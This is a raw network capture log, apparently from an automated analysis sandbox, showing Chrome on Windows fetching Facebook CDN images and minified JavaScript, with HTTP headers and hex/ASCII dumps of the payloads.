2024-04-11 20:35:33 UTC	715	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff ed 00 84 50 68 6f 74 6f 73 68 6f 70 20 33 2e 30 00 38 42 49 4d 04 04 00 00 00 00 00 68 1c 02 28 00 62 46 42 4d 44 30 61 30 30 30 61 36 66 30 31 30 30 30 30 66 31 30 32 30 30 30 30 33 32 30 35 30 30 30 30 62 63 30 35 30 30 30 30 37 35 30 36 30 30 30 30 39 39 30 39 30 30 30 30 37 36 30 64 30 30 30 30 66 37 30 64 30 30 30 30 38 37 30 65 30 30 30 30 33 64 30 66 30 30 30 30 36 34 31 35 30 30 30 30 00 ff db 00 43 00 06 04 05 06 05 04 06 06 05 06 07 07 06 08 0a 10 0a 0a 09 09 0a 14 0e 0f 0c 10 17 14 18 18 17 14 16 16 1a 1d 25 1f 1a 1b 23 1c 16 16 20 2c 20 23 26 27 29 2a 29 19 1f 2d 30 2d 28 30 25 28 29 28 ff db 00 43 01 07 07 07 0a 08 0a 13 0a 0a 13 28 1a 16 1a 28 28 28 28 28 28 28 28 28 28 28 28 28 Data Ascii: JFIFPhotoshop 3.08BIMh(bFBMD0a000a6f010000f102000032050000bc0500007506000099090000760d0000f70d0000870e00003d0f000064150000C%# , #&')*)-0-(0%()(C((((((((((((((
2024-04-11 20:35:33 UTC	1500	IN	Data Raw: 10 00 02 01 02 06 02 02 03 01 01 01 00 00 00 00 00 01 02 00 03 05 04 11 12 21 31 33 13 14 30 32 10 15 20 22 24 40 ff da 00 08 01 01 00 01 05 02 8a ea d0 90 26 a1 96 7f 85 21 87 cd fa dc a7 eb ea 36 03 f5 75 95 7f 5b 54 4a 58 3c 43 d2 36 ec 54 7b 6e 23 e5 3b 85 c3 01 05 1d 40 51 cd 85 03 3c 10 e1 b7 6a 1a 8f 83 52 7a d0 e1 b7 38 6f f4 f8 72 40 a0 da 7c 0d a5 70 d9 0f 5a a4 4a 05 4d 1a 4d 4c c3 b8 4c 2a 29 f5 12 1c 3a c3 84 4c bd 44 8b 85 41 0e 11 33 38 45 d2 23 38 04 ea 8d 52 90 8a c0 9a 6b 54 9c d3 e6 72 49 a9 4c 14 a9 e0 10 36 40 0a d3 c2 1d 96 95 3a 70 1f 2b fc 95 01 ce 9d 3a 42 64 02 9f 2b 83 4e 9b 45 19 2e 8f f5 fc 19 bc de 6f 37 9b cd e6 f3 79 bf e3 40 9a 66 f3 78 ff 00 55 6d 43 79 99 fc 19 56 9b bb 53 56 54 f9 40 c8 43 c0 e0 fc 8f 51 12 7b 14 62 3a Data Ascii: !1302 "$@&!6u[TJX<C6T{n#;@Q<jRz8or@\|pZJMMLL*):LDA38E#8RkTrIL6@:p+:Bd+NE.o7y@fxUmCyVSVT@CQ{b:
2024-04-11 20:35:33 UTC	1789	IN	Data Raw: e3 1c d9 3c c2 a7 bb 63 dd 03 90 5e 0d 4f c5 3c 54 6b 9a 71 79 23 fb 43 86 3c 4d b0 69 89 58 43 3b 44 7b c2 99 a9 c5 c9 e6 cb 2c 52 33 18 4c 27 45 3e d1 07 fb c2 13 8f 3c f8 ae 10 c3 4c be 6f 05 0e 0e d1 95 be a0 52 e6 16 6a b8 5f 58 91 60 1e 8c 33 b4 8e 79 54 09 af c7 58 73 c2 5c b8 58 5d 37 82 87 0f 68 ca df 50 29 73 4b 3d 0a 3b 79 f4 5c fa 2e 7d 17 3e 8b 9f 45 cf a2 e7 d1 73 e8 b0 b8 48 d1 78 5f c2 0d 6c c0 5c fa 2e 7d 17 3e 8b 0b 84 8d 17 86 83 44 c0 c9 73 e9 b7 3a 2f 95 1b b7 fc ac e8 bf e1 0f a4 f2 3d 11 fa 6e 42 29 94 e3 bb 39 7f 2b c2 a9 d1 65 4d d6 94 26 93 d7 84 f5 1b b7 b7 5f eb 3f ff c4 00 28 10 01 00 02 01 03 02 07 01 01 01 01 01 00 00 00 00 01 00 11 21 31 41 51 71 f0 10 61 81 91 a1 b1 f1 30 c1 20 40 d1 ff da 00 08 01 01 00 01 3f 21 71 ac fb Data Ascii: <c^O<Tkqy#C<MiXC;D{,R3L'E><LoRj_X`3yTXs\X]7hP)sK=;y\.}>EsHx_l\.}>Ds:/=nB)9+eM&_?(!1AQqa0 @?!q
2024-04-11 20:35:33 UTC	1472	IN	Data Raw: 69 eb 8e d1 00 17 6a 70 2d 20 84 a2 33 6a ac ca 62 82 00 58 da 0e 0f 4b 14 da d4 ca be 88 44 20 d1 72 e1 0c 19 65 9c ff 00 02 2a 08 a6 bb 7f 00 3a 23 fc 4d 56 88 2f 2c 45 92 47 41 49 59 0e c3 5b 43 58 bd 8e 9d 59 96 0c d5 ae ae 58 47 19 47 60 e1 4c a7 34 dd 72 f0 5d 5a 17 60 6b ec bc 9b 38 98 9a 8b 16 18 0e 14 bc ca 53 5b ae 18 95 e1 dd b5 54 69 66 cb d6 2d 8c 09 a4 0c b3 65 d1 ed bc 10 cc 7a aa e5 76 f1 37 56 51 83 10 2d 5c ed e1 c6 11 7a 6b 75 96 dc c4 0e b3 48 23 a1 af 0c e7 fc 8c f7 6a 0a 59 38 bc de 0c c1 6b b8 5a 50 55 73 5b 7d 62 b0 24 dd 79 03 1c c6 bc b2 e2 0a ab 5b 47 83 05 71 83 db 78 21 7e 16 20 0c de 6b 2f 48 a2 eb 26 f9 55 5a 73 b3 7c 6b 11 63 6c d5 9a 22 36 5d 5e 4e 1c 08 2e b8 31 68 d0 b4 ad 60 38 b9 57 1f 8d 35 c5 74 62 3e 0e 02 09 9c a0 Data Ascii: ijp- 3jbXKD re*:#MV/,EGAIY[CXYXGG`L4r]Z`k8S[Tif-ezv7VQ-\zkuH#jY8kZPUs[}b$y[Gqx!~ k/H&UZs\|kcl"6]^N.1h`8W5tb>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.4	49931	157.240.241.1	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:32 UTC	610	OUT	GET /rsrc.php/v3ixS04/ye/l/en_US/3Vt4g4L9IO-.js?_nc_x=Ij3Wp8lg5Kz HTTP/1.1 Host: static.xx.fbcdn.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://www.facebook.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://www.facebook.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:33 UTC	1677	IN	HTTP/1.1 200 OK Content-Type: application/x-javascript; charset=utf-8 Last-Modified: Mon, 01 Jan 2001 08:00:00 GMT content-md5: wk1QeZqWZdVS9ATIqJmOlg== Expires: Thu, 10 Apr 2025 21:50:42 GMT Cache-Control: public,max-age=31536000,immutable reporting-endpoints: permissions_policy="https://www.xx.facebook.com/ajax/browser_error_reports/" timing-allow-origin: * document-policy: force-load-at-top permissions-policy: accelerometer=(), attribution-reporting=(), autoplay=(), bluetooth=(), camera=(), ch-device-memory=(), ch-downlink=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), clipboard-read=(), clipboard-write=(), display-capture=(), encrypted-media=(), fullscreen=(self), gamepad=(), geolocation=(), gyroscope=(), hid=(), idle-detection=(), keyboard-map=(), local-fonts=(), magnetometer=(), microphone=(), midi=(), otp-credentials=(), payment=(), picture-in-picture=(), publickey-credentials-get=(), screen-wake-lock=(), serial=(), usb=(), window-management=(), xr-spatial-tracking=();report-to="permissions_policy" cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff report-to: {"max_age":21600,"endpoints":[{"url":"https:\/\/www.xx.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"} X-FB-Debug: BvdbJuiGNZ1S1AOeP6Q2NQMScGD2xSNmnt7qz/DdfjT2BRS4Sp8TLCsLk/hKEisr/LbQjL7i206BH3D5FRdMEw== Date: Thu, 11 Apr 2024 20:35:33 GMT Access-Control-Allow-Origin: https://www.facebook.com Vary: Origin X-FB-Connection-Quality: GOOD; q=0.7, rtt=88, rtx=0, c=14, mss=1277, tbw=3411, tp=-1, tpl=-1, uplat=3, ullat=-1 Alt-Svc: h3=":443"; ma=86400 Connection: close Content-Length: 430139
2024-04-11 20:35:33 UTC	1	IN	Data Raw: 3b Data Ascii: ;
2024-04-11 20:35:33 UTC	16127	IN	Data Raw: 2f 2a 46 42 5f 50 4b 47 5f 44 45 4c 49 4d 2a 2f 0a 0a 5f 5f 64 28 22 43 6f 6d 65 74 54 65 78 74 44 65 6c 69 67 68 74 41 6e 69 6d 61 74 69 6f 6e 51 75 65 72 79 5f 66 61 63 65 62 6f 6f 6b 52 65 6c 61 79 4f 70 65 72 61 74 69 6f 6e 22 2c 5b 5d 2c 28 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 2c 65 2c 66 29 7b 65 2e 65 78 70 6f 72 74 73 3d 22 37 31 39 38 35 34 35 33 34 30 31 35 39 37 35 38 22 7d 29 2c 6e 75 6c 6c 29 3b 0a 5f 5f 64 28 22 43 6f 6d 65 74 54 65 78 74 44 65 6c 69 67 68 74 41 6e 69 6d 61 74 69 6f 6e 51 75 65 72 79 24 50 61 72 61 6d 65 74 65 72 73 22 2c 5b 22 43 6f 6d 65 74 54 65 78 74 44 65 6c 69 67 68 74 41 6e 69 6d 61 74 69 6f 6e 51 75 65 72 79 5f 66 61 63 65 62 6f 6f 6b 52 65 6c 61 79 4f 70 65 72 61 74 69 6f 6e 22 5d 2c 28 66 75 6e 63 74 69 Data Ascii: /FB_PKG_DELIM/__d("CometTextDelightAnimationQuery_facebookRelayOperation",[],(function(a,b,c,d,e,f){e.exports="7198545340159758"}),null);__d("CometTextDelightAnimationQuery$Parameters",["CometTextDelightAnimationQuery_facebookRelayOperation"],(functi
2024-04-11 20:35:33 UTC	16384	IN	Data Raw: 73 74 6f 72 61 67 65 4b 65 79 3a 6e 75 6c 6c 7d 5d 2c 73 74 6f 72 61 67 65 4b 65 79 3a 6e 75 6c 6c 7d 5d 2c 74 79 70 65 3a 22 55 73 65 72 22 2c 61 62 73 74 72 61 63 74 4b 65 79 3a 6e 75 6c 6c 7d 2c 7b 6b 69 6e 64 3a 22 49 6e 6c 69 6e 65 46 72 61 67 6d 65 6e 74 22 2c 73 65 6c 65 63 74 69 6f 6e 73 3a 5b 64 2c 7b 61 6c 69 61 73 3a 6e 75 6c 6c 2c 61 72 67 73 3a 6e 75 6c 6c 2c 6b 69 6e 64 3a 22 53 63 61 6c 61 72 46 69 65 6c 64 22 2c 6e 61 6d 65 3a 22 69 73 5f 6d 75 6c 74 69 5f 63 6f 6d 70 61 6e 79 5f 67 72 6f 75 70 22 2c 73 74 6f 72 61 67 65 4b 65 79 3a 6e 75 6c 6c 7d 2c 7b 61 6c 69 61 73 3a 6e 75 6c 6c 2c 61 72 67 73 3a 6e 75 6c 6c 2c 6b 69 6e 64 3a 22 53 63 61 6c 61 72 46 69 65 6c 64 22 2c 6e 61 6d 65 3a 22 77 6f 72 6b 5f 6f 66 66 69 63 69 61 6c 5f 73 74 61 Data Ascii: storageKey:null}],storageKey:null}],type:"User",abstractKey:null},{kind:"InlineFragment",selections:[d,{alias:null,args:null,kind:"ScalarField",name:"is_multi_company_group",storageKey:null},{alias:null,args:null,kind:"ScalarField",name:"work_official_sta
2024-04-11 20:35:33 UTC	16384	IN	Data Raw: 74 79 70 65 22 2c 73 74 6f 72 61 67 65 4b 65 79 3a 6e 75 6c 6c 7d 5d 2c 74 79 70 65 3a 22 43 6f 6d 6d 65 6e 74 22 2c 61 62 73 74 72 61 63 74 4b 65 79 3a 6e 75 6c 6c 7d 3b 65 2e 65 78 70 6f 72 74 73 3d 61 7d 29 2c 6e 75 6c 6c 29 3b 0a 5f 5f 64 28 22 43 6f 6d 65 74 55 46 49 43 6f 6d 6d 65 6e 74 41 63 74 6f 72 4c 69 6e 6b 42 61 64 67 65 73 5f 63 6f 6d 6d 65 6e 74 2e 67 72 61 70 68 71 6c 22 2c 5b 5d 2c 28 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 2c 65 2c 66 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 5b 7b 61 6c 69 61 73 3a 6e 75 6c 6c 2c 61 72 67 73 3a 6e 75 6c 6c 2c 6b 69 6e 64 3a 22 53 63 61 6c 61 72 46 69 65 6c 64 22 2c 6e 61 6d 65 3a 22 69 73 5f 76 65 72 69 66 69 65 64 22 2c 73 74 6f 72 61 Data Ascii: type",storageKey:null}],type:"Comment",abstractKey:null};e.exports=a}),null);__d("CometUFICommentActorLinkBadges_comment.graphql",[],(function(a,b,c,d,e,f){"use strict";a=function(){var a=[{alias:null,args:null,kind:"ScalarField",name:"is_verified",stora
2024-04-11 20:35:33 UTC	16384	IN	Data Raw: 61 73 3a 6e 75 6c 6c 2c 61 72 67 73 3a 6e 75 6c 6c 2c 6b 69 6e 64 3a 22 53 63 61 6c 61 72 46 69 65 6c 64 22 2c 6e 61 6d 65 3a 22 74 65 78 74 22 2c 73 74 6f 72 61 67 65 4b 65 79 3a 6e 75 6c 6c 7d 2c 76 3d 7b 61 6c 69 61 73 3a 22 67 72 65 79 5f 62 61 64 67 65 5f 61 73 73 65 74 22 2c 61 72 67 73 3a 6e 75 6c 6c 2c 6b 69 6e 64 3a 22 53 63 61 6c 61 72 46 69 65 6c 64 22 2c 6e 61 6d 65 3a 22 62 61 64 67 65 5f 61 73 73 65 74 22 2c 73 74 6f 72 61 67 65 4b 65 79 3a 6e 75 6c 6c 7d 2c 77 3d 7b 61 6c 69 61 73 3a 22 64 61 72 6b 5f 6d 6f 64 65 5f 62 61 64 67 65 5f 61 73 73 65 74 22 2c 61 72 67 73 3a 6e 75 6c 6c 2c 6b 69 6e 64 3a 22 53 63 61 6c 61 72 46 69 65 6c 64 22 2c 6e 61 6d 65 3a 22 69 6e 66 6f 72 6d 61 74 69 6f 6e 5f 61 73 73 65 74 5f 64 61 72 6b 5f 6d 6f 64 65 5f Data Ascii: as:null,args:null,kind:"ScalarField",name:"text",storageKey:null},v={alias:"grey_badge_asset",args:null,kind:"ScalarField",name:"badge_asset",storageKey:null},w={alias:"dark_mode_badge_asset",args:null,kind:"ScalarField",name:"information_asset_dark_mode_
2024-04-11 20:35:33 UTC	1500	IN	Data Raw: 6d 65 3a 22 66 65 65 64 62 61 63 6b 22 2c 70 6c 75 72 61 6c 3a 21 31 2c 73 65 6c 65 63 74 69 6f 6e 73 3a 5b 7b 61 6c 69 61 73 3a 6e 75 6c 6c 2c 61 72 67 73 3a 5b 7b 6b 69 6e 64 3a 22 56 61 72 69 61 62 6c 65 22 2c 6e 61 6d 65 3a 22 75 73 65 5f 64 65 66 61 75 6c 74 5f 61 63 74 6f 72 22 2c 76 61 72 69 61 62 6c 65 4e 61 6d 65 3a 22 75 73 65 44 65 66 61 75 6c 74 41 63 74 6f 72 22 7d 5d 2c 63 6f 6e 63 72 65 74 65 54 79 70 65 3a 22 46 65 65 64 62 61 63 6b 52 65 61 63 74 69 6f 6e 49 6e 66 6f 22 2c 6b 69 6e 64 3a 22 4c 69 6e 6b 65 64 46 69 65 6c 64 22 2c 6e 61 6d 65 3a 22 76 69 65 77 65 72 5f 66 65 65 64 62 61 63 6b 5f 72 65 61 63 74 69 6f 6e 5f 69 6e 66 6f 22 2c 70 6c 75 72 61 6c 3a 21 31 2c 73 65 6c 65 63 74 69 6f 6e 73 3a 72 2c 73 74 6f 72 61 67 65 4b 65 79 3a Data Ascii: me:"feedback",plural:!1,selections:[{alias:null,args:[{kind:"Variable",name:"use_default_actor",variableName:"useDefaultActor"}],concreteType:"FeedbackReactionInfo",kind:"LinkedField",name:"viewer_feedback_reaction_info",plural:!1,selections:r,storageKey:
2024-04-11 20:35:33 UTC	14884	IN	Data Raw: 6f 6d 5f 72 65 61 63 74 69 6f 6e 73 5f 6f 6e 5f 63 6f 6d 6d 65 6e 74 5f 66 6f 72 5f 63 72 65 61 74 6f 72 73 22 2c 66 72 61 67 6d 65 6e 74 4e 61 6d 65 3a 22 43 6f 6d 65 74 55 46 49 43 6f 6d 6d 65 6e 74 43 75 73 74 6f 6d 54 6f 70 52 65 61 63 74 69 6f 6e 73 5f 66 65 65 64 62 61 63 6b 22 2c 66 72 61 67 6d 65 6e 74 50 72 6f 70 4e 61 6d 65 3a 22 66 65 65 64 62 61 63 6b 22 2c 6b 69 6e 64 3a 22 4d 6f 64 75 6c 65 49 6d 70 6f 72 74 22 7d 2c 69 5d 2c 73 74 6f 72 61 67 65 4b 65 79 3a 6e 75 6c 6c 7d 2c 7b 61 6c 69 61 73 3a 6e 75 6c 6c 2c 61 72 67 73 3a 6e 75 6c 6c 2c 6b 69 6e 64 3a 22 53 63 61 6c 61 72 46 69 65 6c 64 22 2c 6e 61 6d 65 3a 22 73 68 6f 75 6c 64 5f 73 68 6f 77 5f 74 6f 70 5f 72 65 61 63 74 69 6f 6e 73 22 2c 73 74 6f 72 61 67 65 4b 65 79 3a 6e 75 6c 6c 7d Data Ascii: om_reactions_on_comment_for_creators",fragmentName:"CometUFICommentCustomTopReactions_feedback",fragmentPropName:"feedback",kind:"ModuleImport"},i],storageKey:null},{alias:null,args:null,kind:"ScalarField",name:"should_show_top_reactions",storageKey:null}
2024-04-11 20:35:33 UTC	16384	IN	Data Raw: 61 74 65 64 5f 63 6f 6d 6d 65 6e 74 5f 64 61 74 61 22 2c 70 6c 75 72 61 6c 3a 21 31 2c 73 65 6c 65 63 74 69 6f 6e 73 3a 5b 68 2c 7b 6b 69 6e 64 3a 22 49 6e 6c 69 6e 65 46 72 61 67 6d 65 6e 74 22 2c 73 65 6c 65 63 74 69 6f 6e 73 3a 5b 7b 61 72 67 73 3a 6e 75 6c 6c 2c 64 6f 63 75 6d 65 6e 74 4e 61 6d 65 3a 22 43 6f 6d 65 74 55 46 49 43 6f 6d 6d 65 6e 74 5f 63 6f 6d 6d 65 6e 74 5f 65 6c 65 76 61 74 65 64 5f 63 6f 6d 6d 65 6e 74 5f 64 61 74 61 22 2c 66 72 61 67 6d 65 6e 74 4e 61 6d 65 3a 22 47 46 49 53 74 61 72 73 45 6c 65 76 61 74 65 64 43 6f 6d 6d 65 6e 74 43 6f 6e 74 65 6e 74 5f 73 74 61 72 73 45 6c 65 76 61 74 65 64 43 6f 6d 6d 65 6e 74 44 61 74 61 22 2c 66 72 61 67 6d 65 6e 74 50 72 6f 70 4e 61 6d 65 3a 22 73 74 61 72 73 45 6c 65 76 61 74 65 64 43 6f 6d Data Ascii: ated_comment_data",plural:!1,selections:[h,{kind:"InlineFragment",selections:[{args:null,documentName:"CometUFIComment_comment_elevated_comment_data",fragmentName:"GFIStarsElevatedCommentContent_starsElevatedCommentData",fragmentPropName:"starsElevatedCom
2024-04-11 20:35:33 UTC	16384	IN	Data Raw: 66 72 61 67 6d 65 6e 74 50 72 6f 70 4e 61 6d 65 3a 22 63 6c 69 70 45 6c 65 76 61 74 65 64 43 6f 6d 6d 65 6e 74 44 61 74 61 22 2c 6b 69 6e 64 3a 22 4d 6f 64 75 6c 65 49 6d 70 6f 72 74 22 7d 5d 2c 74 79 70 65 3a 22 43 6c 69 70 45 6c 65 76 61 74 65 64 43 6f 6d 6d 65 6e 74 44 61 74 61 22 2c 61 62 73 74 72 61 63 74 4b 65 79 3a 6e 75 6c 6c 7d 2c 7b 6b 69 6e 64 3a 22 49 6e 6c 69 6e 65 46 72 61 67 6d 65 6e 74 22 2c 73 65 6c 65 63 74 69 6f 6e 73 3a 5b 7b 61 72 67 73 3a 6e 75 6c 6c 2c 64 6f 63 75 6d 65 6e 74 4e 61 6d 65 3a 22 43 6f 6d 65 74 55 46 49 43 6f 6d 6d 65 6e 74 5f 63 6f 6d 6d 65 6e 74 5f 65 6c 65 76 61 74 65 64 5f 63 6f 6d 6d 65 6e 74 5f 64 61 74 61 22 2c 66 72 61 67 6d 65 6e 74 4e 61 6d 65 3a 22 47 46 49 47 69 66 74 65 64 53 75 62 73 45 6c 65 76 61 74 65 Data Ascii: fragmentPropName:"clipElevatedCommentData",kind:"ModuleImport"}],type:"ClipElevatedCommentData",abstractKey:null},{kind:"InlineFragment",selections:[{args:null,documentName:"CometUFIComment_comment_elevated_comment_data",fragmentName:"GFIGiftedSubsElevate
2024-04-11 20:35:33 UTC	14884	IN	Data Raw: 6d 65 6e 74 44 69 73 61 62 6c 65 4e 6f 74 69 63 65 5f 63 6f 6d 6d 65 6e 74 44 69 73 61 62 6c 65 4e 6f 74 69 63 65 22 2c 73 65 6c 65 63 74 69 6f 6e 73 3a 5b 7b 61 6c 69 61 73 3a 6e 75 6c 6c 2c 61 72 67 73 3a 6e 75 6c 6c 2c 63 6f 6e 63 72 65 74 65 54 79 70 65 3a 22 54 65 78 74 57 69 74 68 45 6e 74 69 74 69 65 73 22 2c 6b 69 6e 64 3a 22 4c 69 6e 6b 65 64 46 69 65 6c 64 22 2c 6e 61 6d 65 3a 22 6e 6f 74 69 63 65 5f 6d 65 73 73 61 67 65 22 2c 70 6c 75 72 61 6c 3a 21 31 2c 73 65 6c 65 63 74 69 6f 6e 73 3a 5b 7b 61 72 67 73 3a 6e 75 6c 6c 2c 6b 69 6e 64 3a 22 46 72 61 67 6d 65 6e 74 53 70 72 65 61 64 22 2c 6e 61 6d 65 3a 22 43 6f 6d 65 74 54 65 78 74 57 69 74 68 45 6e 74 69 74 69 65 73 52 65 6c 61 79 5f 74 65 78 74 57 69 74 68 45 6e 74 69 74 69 65 73 22 7d 5d 2c Data Ascii: mentDisableNotice_commentDisableNotice",selections:[{alias:null,args:null,concreteType:"TextWithEntities",kind:"LinkedField",name:"notice_message",plural:!1,selections:[{args:null,kind:"FragmentSpread",name:"CometTextWithEntitiesRelay_textWithEntities"}],

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.4	49936	31.13.71.7	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:32 UTC	843	OUT	GET /v/t39.30808-6/434377831_977196400471980_4692415244947758289_n.jpg?stp=c0.18.160.160a_dst-jpg_p160x160&_nc_cat=108&ccb=1-7&_nc_sid=5f2048&_nc_ohc=_mpe2tuK2qoAb7w4Shi&_nc_ht=scontent-lga3-1.xx&oh=00_AfBB0yUIlV4ji25AYwMaaDhRRzMoKQaEng_iUrCLWilsaA&oe=661E2426 HTTP/1.1 Host: scontent-lga3-1.xx.fbcdn.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.facebook.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:33 UTC	785	IN	HTTP/1.1 200 OK x-storage-error-category: dfs:none;sc_p:200:WSE_NOT_SET Last-Modified: Mon, 01 Apr 2024 18:24:19 GMT X-Needle-Checksum: 4009769189 thrift_fmhk: GBCmplCxyPBuxA5ZVDvpLVRFFfDr4Z0EvFUAAAA= Content-Type: image/jpeg content-digest: adler32=144625090 cross-origin-resource-policy: cross-origin timing-allow-origin: * Access-Control-Allow-Origin: * Cache-Control: max-age=1209600, no-transform Accept-Ranges: bytes Date: Thu, 11 Apr 2024 20:35:33 GMT X-FB-Edge-Debug: oFb3B-10PjHfdvE-bFE_VsPEX7eR5w-yDhqeuhE_dSS9lRCE72XssppKpSQLKZJIEktkdiKVJpY-3KsHEPHYiNZmp5YQzk33EIIcSQBIwps X-FB-Connection-Quality: GOOD; q=0.7, rtt=88, rtx=0, c=14, mss=1277, tbw=3412, tp=-1, tpl=-1, uplat=111, ullat=0 Alt-Svc: h3=":443"; ma=86400 Connection: close Content-Length: 8871
2024-04-11 20:35:33 UTC	715	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff ed 00 84 50 68 6f 74 6f 73 68 6f 70 20 33 2e 30 00 38 42 49 4d 04 04 00 00 00 00 00 68 1c 02 28 00 62 46 42 4d 44 30 61 30 30 30 61 36 66 30 31 30 30 30 30 36 33 30 33 30 30 30 30 37 62 30 37 30 30 30 30 34 61 30 38 30 30 30 30 33 34 30 39 30 30 30 30 35 38 30 65 30 30 30 30 31 32 31 35 30 30 30 30 38 61 31 35 30 30 30 30 37 32 31 36 30 30 30 30 37 35 31 37 30 30 30 30 61 37 32 32 30 30 30 30 00 ff db 00 43 00 06 04 05 06 05 04 06 06 05 06 07 07 06 08 0a 10 0a 0a 09 09 0a 14 0e 0f 0c 10 17 14 18 18 17 14 16 16 1a 1d 25 1f 1a 1b 23 1c 16 16 20 2c 20 23 26 27 29 2a 29 19 1f 2d 30 2d 28 30 25 28 29 28 ff db 00 43 01 07 07 07 0a 08 0a 13 0a 0a 13 28 1a 16 1a 28 28 28 28 28 28 28 28 28 28 28 28 28 Data Ascii: JFIFPhotoshop 3.08BIMh(bFBMD0a000a6f010000630300007b0700004a08000034090000580e0000121500008a1500007216000075170000a7220000C%# , #&')*)-0-(0%()(C((((((((((((((
2024-04-11 20:35:33 UTC	1500	IN	Data Raw: 7c ab 61 54 d2 54 15 08 39 96 a1 29 0f 47 18 52 93 0c c6 9c fb 48 21 db 57 b2 60 e8 f3 98 f4 50 44 0b 43 01 2e e8 75 f4 39 b2 9d 43 f5 e6 3a dc 25 c3 0e ce 0f a5 c9 5b 3c c2 2e 26 7e 98 87 92 37 d8 be 17 f5 21 cd d7 31 a4 94 62 ea 85 9b e4 c8 7a ae 74 85 c4 d4 b4 a6 70 ab 56 42 b3 1a ac 0b ce fa a3 e4 79 78 85 7c 1c b4 c9 94 1b ff c4 00 28 10 00 03 00 02 02 02 02 01 04 02 03 00 00 00 00 00 01 02 03 00 04 11 12 05 13 21 22 14 10 23 31 32 06 15 24 33 41 ff da 00 08 01 01 00 01 05 02 8f 1e bb 7f 7d ea fb 6c d8 3f 9a e6 9d cc 6b b3 2f 73 46 6d 46 d8 d5 25 f6 00 8d 9a 87 b1 4f a3 9e e6 1d 67 9b 5c 3d 38 fd a4 21 cf 69 aa 7c da b3 ff 00 af 79 ba 44 fe 85 4e 53 e5 73 fc 77 63 db ad 1d 69 c6 8e ff 00 f2 ab a2 bb 33 b7 8b 9a e6 a6 ba 32 6b cd 45 12 28 26 ba 00 6c Data Ascii: \|aTT9)GRH!W`PDC.u9C:%[<.&~7!1bztpVByx\|(!"#12$3A}l?k/sFmF%Og\=8!i\|yDNSswci32kE(&l
2024-04-11 20:35:33 UTC	1789	IN	Data Raw: 99 e9 76 8a 8b e8 47 b2 4c 72 7d 91 cb 28 92 c9 bf 44 7e 3d 9b 7e 0c cd 0d cf 5b 45 0a 23 8d 18 9a bd 64 68 f1 f0 c9 32 3d 16 4f e5 c1 1c 45 5f 86 f9 37 3d 9b 0b 99 d8 d8 e6 46 3f 6c a3 a1 0d 38 8d fe f8 83 63 62 e4 45 78 43 56 7a 51 2c 22 54 63 c1 f6 c9 c5 2f 2f fc 3f ff c4 00 31 10 00 01 03 03 02 04 04 04 07 01 01 00 00 00 00 00 01 00 02 11 03 12 21 31 41 10 22 51 61 13 32 71 81 04 42 52 91 20 23 33 62 82 a1 b1 72 63 ff da 00 08 01 01 00 06 3f 02 06 d1 ef c0 fd 23 03 8c a0 ed 46 ed 3b 84 6a 31 b1 4c 01 cd b2 1e 13 09 3d 17 85 4f f4 c6 0e e8 b7 24 37 aa c6 8a e0 04 9d fa 2b 88 39 2b 96 9f e6 4e b2 9d 74 4e cd 0a 20 61 01 ed 25 3e c6 17 00 73 25 03 12 22 30 14 03 f3 75 4e 33 b7 e0 1c 1f f0 cf cc 67 d9 54 a8 c1 97 ea ab 34 b9 da e9 29 84 5a d3 bb ba ab 83 Data Ascii: vGLr}(D~=~[E#dh2=OE_7=F?l8cbExCVzQ,"Tc//?1!1A"Qa2qBR #3brc?#F;j1L=O$7+9+NtN a%>s%"0uN3gT4)Z
